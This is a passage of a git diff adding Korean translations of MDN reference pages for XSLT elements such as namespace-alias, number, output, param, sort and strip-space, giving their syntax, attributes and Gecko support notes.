+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#message">XSLT section 13, Messages</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/namespace-alias/index.html b/files/ko/web/xslt/namespace-alias/index.html
new file mode 100644
index 0000000000..e085abc4e7
--- /dev/null
+++ b/files/ko/web/xslt/namespace-alias/index.html
@@ -0,0 +1,30 @@
+---
+title: namespace-alias
+slug: Web/XSLT/namespace-alias
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/namespace-alias
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:namespace-alias&gt;</code> 요소는 스타일시트 이름공간을 출력 트리의 다른 이름공간으로 매기는(map) 데 드물게 쓰는 방안(device)입니다. 이 요소의 가장 평범한 쓰임은 다른 스타일시트로부터 스타일시트를 만드는 것입니다. 보통 <code>xsl:</code>가 접두사로 붙은 (결과 트리에 단순히 복사해도 좋을) LRE(literal result element)를 처리기가 오해하는 것을 막기 위해, 결과 트리의 XSLT 이름공간에 적당하게 도로 다시 바꿀 임시 이름공간을 할당합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:namespace-alias stylesheet-prefix=NAME result-prefix=NAME /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>stylesheet-prefix</code></dt>
+ <dd>
+ 임시 이름공간을 지정합니다.</dd>
+ <dt>
+ <code>result-prefix</code></dt>
+ <dd>
+ 결과 트리에 사용하길 바라는 이름공간을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#literal-result-element">XSLT section 7.1.1, Literal Result Elements</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>이번에 지원 안 함.</p>
diff --git a/files/ko/web/xslt/number/index.html b/files/ko/web/xslt/number/index.html
new file mode 100644
index 0000000000..b822625a0e
--- /dev/null
+++ b/files/ko/web/xslt/number/index.html
@@ -0,0 +1,173 @@
+---
+title: number
+slug: Web/XSLT/number
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/number
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:number&gt;</code> 요소는 숫자를 연속으로 셉니다. 또한 숫자를 빠르게 구성하는(format) 데도 쓸 수 있습니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre>&lt;xsl:number
+ count=EXPRESSION
+ level="single" | "multiple" | "any"
+ from=EXPRESSION
+ value=EXPRESSION
+ format=FORMAT-STRING
+ lang=XML:LANG-CODE
+ letter-value="alphabetic" | "traditional"
+ grouping-separator=CHARACTER
+ grouping-size=NUMBER /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>count</code></dt>
+ <dd>
+ 소스 트리에서 연속으로 셀 대상을 지정합니다. XPath 식을 씁니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>level</code></dt>
+ <dd>
+ 일련번호를 만드는데 소스 트리의 수준을 어떻게 고려해야 하는 지를 정의합니다. 유효한 값은 <code>single</code>, <code>multiple</code>, <code>any</code> 세 가지. 기본값은 <code>single</code>입니다.</dd>
+</dl>
+<dl>
+ <dd>
+ <dl>
+ <dt>
+ <code>single</code></dt>
+ <dd>
+ 목록의 항목대로 연속으로 형제 노드를 번호 매깁니다. 처리기는 <code>count</code> 속성과 일치하는 <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor-or-self"><code>ancestor-or-self</code></a> 축의 첫 번째 노드로 갑니다. 그리고 나서 역시 <code>count</code> 속성과 일치하는 앞선 형제(preceding siblings) 노드(있다면, 한 짝인 <code>from</code> 속성에 이르러 멈춤)를 모두 더하여 셉니다. 일치하지 않으면, sequence는 빈 목록입니다.</dd>
+ </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+ <dl>
+ <dt>
+ <code>multiple</code></dt>
+ <dd>
+ 노드의 계층 위치를 반영하는 복합 sequence로 노드를 셉니다. 예를 들어, 1.2.2.5 (포개진 형식은 <code>format</code> 속성(예, A.1.1)으로 지정할 수 있습니다). 처리기는 만약 있다면 <code>from</code> 속성에 이르러 멈추며 현재 노드와 현재 노드의 모든 <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor"><code>ancestors</code></a>를 조사합니다. 일치하지 않으면, sequence는 빈 목록입니다.</dd>
+ </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+ <dl>
+ <dt>
+ <code>any</code> (이번에 지원 안 함.)</dt>
+ <dd>
+ 수준을 무시하고 연속으로 일치하는 모든 노드를 셉니다. <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor"><code>ancestor</code></a>, <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/self"><code>self</code></a>, <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/preceding"><code>preceding</code></a> 축을 모두 고려합니다. 처리기는 현재 노드에서 시작하여 <code>from</code> 속성과 일치할 때 멈추며 문서 역순으로 진행합니다. 발견한 <code>count</code> 속성과 일치하지 않으면, sequence는 빈 목록입니다. 이 수준은 이번에 지원하지 않습니다.</dd>
+ </dl>
+ </dd>
+</dl>
+<dl>
+ <dt>
+ from</dt>
+ <dd>
+ 번호 매기기를 시작하거나 다시 시작하면 좋을 곳을 지정합니다. 순서는 <code>from</code> 특성과 일치하는 노드의 첫 번째 자손(descendant)에서 시작합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ value</dt>
+ <dd>
+ 숫자에 주어진 형식을 적용합니다. 이것이 사용자 제공 숫자(노드 sequence 숫자와는 반대로)를 표준 <code>&lt;xsl:number&gt;</code> 형식으로 구성하는 빠른 방법입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ format</dt>
+ <dd>
+ 만드는 숫자의 형식을 정의합니다.</dd>
+</dl>
+<dl>
+ <dd>
+ <dl>
+ <dt>
+ format="1"</dt>
+ <dd>
+ &lt;tt&gt;1 2 3 . . .&lt;/tt&gt; (이번에 지원하는 유일한 형식)</dd>
+ </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+ <dl>
+ <dt>
+ format="01"</dt>
+ <dd>
+ &lt;tt&gt;01 02 03 . . . 09 10 11 . . .&lt;/tt&gt;</dd>
+ </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+ <dl>
+ <dt>
+ format="a"</dt>
+ <dd>
+ &lt;tt&gt;a b c . . .y z aa ab . . .&lt;/tt&gt;</dd>
+ </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+ <dl>
+ <dt>
+ format="A"</dt>
+ <dd>
+ &lt;tt&gt;A B C . . . Y Z AA AB . . .&lt;/tt&gt;</dd>
+ </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+ <dl>
+ <dt>
+ format="i"</dt>
+ <dd>
+ &lt;tt&gt;i ii iii iv v . . .&lt;/tt&gt;</dd>
+ </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+ <dl>
+ <dt>
+ format="I"</dt>
+ <dd>
+ &lt;tt&gt;I II III IV V . . .&lt;/tt&gt;</dd>
+ </dl>
+ </dd>
+</dl>
+<dl>
+ <dt>
+ lang (이번에는 지원 안 함)</dt>
+ <dd>
+ 문자에 기반을 둔 번호 매기기 형식에 쓰면 좋을 언어의 알파벳을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ letter-value</dt>
+ <dd>
+ 문자(letter)를 쓰는 번호 매김 열(sequence) 사이를 명확하게 합니다. 어떤 언어는 문자(letter)를 쓰는 하나 이상의 번호 매기기 시스템이 있습니다. 두 시스템이 같은 토큰으로 시작하면, 모호함이 생길 수 있습니다. 이 속성은 "<code>alphabetic</code>"나 "<code>traditional</code>" 값일 수 있습니다. 기본값은 "<code>alphabetic</code>"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ grouping-separator</dt>
+ <dd>
+ 어떤 문자를 그룹(예로 천 단위) 구분자로 쓰면 좋을지를 지정합니다. 기본값은 쉼표(<code>,</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ grouping-size</dt>
+ <dd>
+ 숫자 그룹을 만드는 자릿수를 나타냅니다. 기본값은 "<code>3</code>"입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#number">XSLT section 7.7, Numbering</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>부분 지원. 위 해설을 보세요.</p>
diff --git a/files/ko/web/xslt/otherwise/index.html b/files/ko/web/xslt/otherwise/index.html
new file mode 100644
index 0000000000..50249dc0b4
--- /dev/null
+++ b/files/ko/web/xslt/otherwise/index.html
@@ -0,0 +1,23 @@
+---
+title: otherwise
+slug: Web/XSLT/otherwise
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/otherwise
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:otherwise&gt;</code> 요소는 아무런 <code>&lt;xsl:when&gt;</code> 조건도 적용하지 않았을 때 취하면 좋을 동작을 정의하는 데 씁니다. 다른 프로그래밍 언어의 <code>else</code>나 <code>default</code> 경우와 비슷합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:otherwise&gt;
+ TEMPLATE
+&lt;/xsl:otherwise&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>하위명령, 템플릿 안에서 <code>&lt;xsl:choose&gt;</code> 요소의 마지막 자식으로 나타나야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:choose">XSLT section 9.2, Conditional Processing with xsl:choose</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/output/index.html b/files/ko/web/xslt/output/index.html
new file mode 100644
index 0000000000..97baf3f433
--- /dev/null
+++ b/files/ko/web/xslt/output/index.html
@@ -0,0 +1,90 @@
+---
+title: output
+slug: Web/XSLT/output
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/output
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:output&gt;</code> 요소는 출력 문서의 특성을 조절합니다. method 속성이 있는 이 요소가 Netscape에서 정확하게 기능하도록 쓸 수 있어야 합니다. 7.0 현재, <code>method="text"</code>는 기대한 대로 동작합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:output
+ method="xml" | "html" | "text"
+ version=STRING
+ encoding=STRING
+ omit-xml-declaration="yes" | "no"
+ standalone="yes" | "no"
+ doctype-public=STRING
+ doctype-system=STRING
+ cdata-section-elements=LIST-OF-NAMES
+ indent="yes" | "no"
+ media-type=STRING /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>method</code></dt>
+ <dd>
+ 출력 형식을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>version</code></dt>
+ <dd>
+ 출력 문서에 XML이나 HTML 선언의 version 속성값을 지정합니다. 이 속성은 <code>method="html"</code>나 <code>method="xml"</code>일 때만 씁니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>encoding</code></dt>
+ <dd>
+ 출력 문서에 <code>encoding</code> 속성값을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>omit-xml-declaration</code></dt>
+ <dd>
+ 출력에 XML 선언을 포함할 지를 나타냅니다. 가능한 값은 "<code>yes</code>"나 "<code>no</code>"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>standalone</code> (지원 안 함.)</dt>
+ <dd>
+ 있으면, standalone 선언이 출력 문서에 나타나면 좋을 지를 나타내고 그 값을 줍니다. 가능한 값은 "yes"나 "no"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>doctype-public</code></dt>
+ <dd>
+ 출력 문서에 <code>DOCTYPE</code> 선언의 <code>PUBLIC</code> 속성값을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>doctype-system</code></dt>
+ <dd>
+ 출력 문서에 <code>DOCTYPE</code> 선언의 <code>SYSTEM</code> 속성값을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>cdata-section-elements</code></dt>
+ <dd>
+ <code>CDATA</code> 절에 써도 좋을 요소의 텍스트 컨텐트를 나열합니다. 요소는 공백으로 구분해야 합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>indent</code> (지원 안 함.)</dt>
+ <dd>
+ 출력에 계층 구조를 나타내도록 하면 좋을 지를 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>media-type</code> (지원 안 함.)</dt>
+ <dd>
+ 출력 문서의 MIME 타입을 지정합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#output">XSLT section 16, Output</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>부분 지원. 위 해설을 보세요.</p>
diff --git a/files/ko/web/xslt/param/index.html b/files/ko/web/xslt/param/index.html
new file mode 100644
index 0000000000..e1bcf36e19
--- /dev/null
+++ b/files/ko/web/xslt/param/index.html
@@ -0,0 +1,33 @@
+---
+title: param
+slug: Web/XSLT/param
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/param
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:param&gt;</code> 요소는 이름과 선택에 따라 기본값으로 매개변수를 설정합니다. 최상위 요소로 쓸 때, 매개변수는 전역입니다. <code>&lt;xsl:template&gt;</code> 요소 안에서 쓰면, 매개변수는 그 템플릿에 대해 지역입니다. 이 경우에 요소는 템플릿의 첫 자식 요소여야 합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:param name=NAME select=EXPRESSION&gt;
+ TEMPLATE
+&lt;/xsl:param&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 파라미터에 이름을 붙입니다. 이름은 QName이어야 합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>select</code></dt>
+ <dd>
+ none으로 지정하면 기본값을 제공하는 XPath 식을 씁니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 최상위 요소나 템플릿 안에 나타날 수 있음.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#variables">XSLT section 11, Variables and Parameters</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/preserve-space/index.html b/files/ko/web/xslt/preserve-space/index.html
new file mode 100644
index 0000000000..771ffe81d6
--- /dev/null
+++ b/files/ko/web/xslt/preserve-space/index.html
@@ -0,0 +1,26 @@
+---
+title: preserve-space
+slug: Web/XSLT/preserve-space
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/preserve-space
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:preserve-space&gt;</code> 요소는 공백을 보존하면 좋을 소스 문서의 요소를 정의합니다. 하나 이상의 요소가 있으면, 공백 문자로 이름을 구분하세요. 공백 보존하기가 기본 설정이므로 이 요소는 오직 <code>&lt;xsl:strip-space&gt;</code> 요소와 거꾸로 동작하기 위해 쓸 필요가 있습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:preserve-space elements=LIST-OF-ELEMENT-NAMES /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>elements</code></dt>
+ <dd>
+ 공백을 보존하면 좋을 요소를 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#strip">XSLT section 3.4, Whitespace Stripping</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/processing-instruction/index.html b/files/ko/web/xslt/processing-instruction/index.html
new file mode 100644
index 0000000000..ad1c6eaaf6
--- /dev/null
+++ b/files/ko/web/xslt/processing-instruction/index.html
@@ -0,0 +1,26 @@
+---
+title: processing-instruction
+slug: Web/XSLT/processing-instruction
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/processing-instruction
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:processing-instruction&gt;</code> 요소는 출력 문서에 처리 명령을 씁니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<p><code>&lt;xsl:processing-instruction name=NAME&gt; TEMPLATE &lt;/xsl:processing-instruction&gt;</code></p>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 처리 명령에 이름을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Creating-Processing-Instructions">XSLT section 7.3, Creating Processing Instructions</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/sort/index.html b/files/ko/web/xslt/sort/index.html
new file mode 100644
index 0000000000..22217ec61f
--- /dev/null
+++ b/files/ko/web/xslt/sort/index.html
@@ -0,0 +1,55 @@
+---
+title: sort
+slug: Web/XSLT/sort
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/sort
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:sort&gt;</code> 요소는 <code>&lt;xsl:apply-templates&gt;</code>나 <code>&lt;xsl:for-each&gt;</code>가 선택한 노드에 정렬키를 정의하고 노드를 처리할 순서를 결정합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:sort
+ select=EXPRESSION
+ order="ascending" | "descending"
+ case-order="upper-first"| "lower-first"
+ lang=XML:LANG-CODE
+ data-type="html" | "xml" | "text" /&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>select</code></dt>
+ <dd>
+ 정렬할 노드를 지정하는 XPath 식을 씁니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>order</code></dt>
+ <dd>
+ "<code>ascending</code>"나 "<code>descending</code>"으로 처리하면 좋을 노드를 지정합니다. 기본값은 "<code>ascending</code>"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>case-order</code></dt>
+ <dd>
+ 처음에 오는 게 대문자인지 소문자인지를 나타냅니다. 가능한 값은 "<code>upper-first</code>"와 "<code>lower-first</code>"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>lang</code></dt>
+ <dd>
+ 어떤 언어를 정렬에 쓸지를 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>data-type</code></dt>
+ <dd>
+ 어떤 항목을 알파벳순이나 숫자순으로 순서 매길지를 정의합니다. 가능한 값은 "<code>text</code>"와 기본값인 "<code>text</code>"가 있는 "<code>number</code>"입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>하위명령, 항상 <code>&lt;xsl:for-each&gt;</code>의 자식으로 나타나고 고유(proper) 템플릿이나 <code>&lt;xsl:apply-templates&gt;</code> 앞에 나타나야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#sorting">XSLT section 10, Sorting</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/strip-space/index.html b/files/ko/web/xslt/strip-space/index.html
new file mode 100644
index 0000000000..7bbc485afd
--- /dev/null
+++ b/files/ko/web/xslt/strip-space/index.html
@@ -0,0 +1,26 @@
+---
+title: strip-space
+slug: Web/XSLT/strip-space
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/strip-space
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:strip-space&gt;</code> 요소는 공백을 지웠으면 하는 소스 문서의 요소를 정의합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:strip-space elements=LIST-OF-ELEMENT-NAMES /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>elements</code></dt>
+ <dd>
+ 지우면 좋을 공백뿐인 텍스트 노드가 있는 소스의 요소 목록(빈칸으로 구분)을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#strip">XSLT section 3.4, Whitespace Stripping</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/stylesheet/index.html b/files/ko/web/xslt/stylesheet/index.html
new file mode 100644
index 0000000000..0119cec645
--- /dev/null
+++ b/files/ko/web/xslt/stylesheet/index.html
@@ -0,0 +1,52 @@
+---
+title: stylesheet
+slug: Web/XSLT/stylesheet
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/stylesheet
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:stylesheet&gt;</code>(나 동등한 <code>&lt;xsl:transform&gt;</code>) 요소는 스타일시트의 최외곽 요소입니다.</p>
+<h3 id=".EC.9D.B4.EB.A6.84.EA.B3.B5.EA.B0.84_.EC.84.A0.EC.96.B8" name=".EC.9D.B4.EB.A6.84.EA.B3.B5.EA.B0.84_.EC.84.A0.EC.96.B8">이름공간 선언</h3>
+<p>pseudo 속성은 XSLT 스타일시트로 문서를 식별하기 위해 필요합니다. 대체로 이는 <code>xmlns:xsl="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>"</code>입니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:stylesheet
+ version=NUMBER
+ xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+ id=NAME
+ extension-element-prefixes=LIST-OF-NAMES
+ exclude-result-prefixes=LIST-OF-NAMES&gt;
+ ENTIRE STYLESHEET
+&lt;/xsl:stylesheet&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>version</code></dt>
+ <dd>
+ 이 스타일시트에 필요한 XSLT의 버전을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>id </code>(7.0 현재 오직 inline DTD가 명시하여 호출하는 경우만 지원함.)</dt>
+ <dd>
+ 이 스타일시트에 <code>id</code>를 지정합니다. 이는 스타일시트를 다른 XML 문서에 포함할 때 가장 자주 씁니다.</dd>
+</dl>
+<dl>
+ <dt>
+ extension-element-prefixes (지원 안 함.)</dt>
+ <dd>
+ 이 문서의 확장 요소에 빈칸으로 구분한 이름공간 접두사를 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ exclude-result-prefixes</dt>
+ <dd>
+ 이 문서에 쓸 출력 문서에 보내지 않았으면 하는 이름공간을 지정합니다. 목록은 공백으로 구분합니다.</dd>
+</dl>
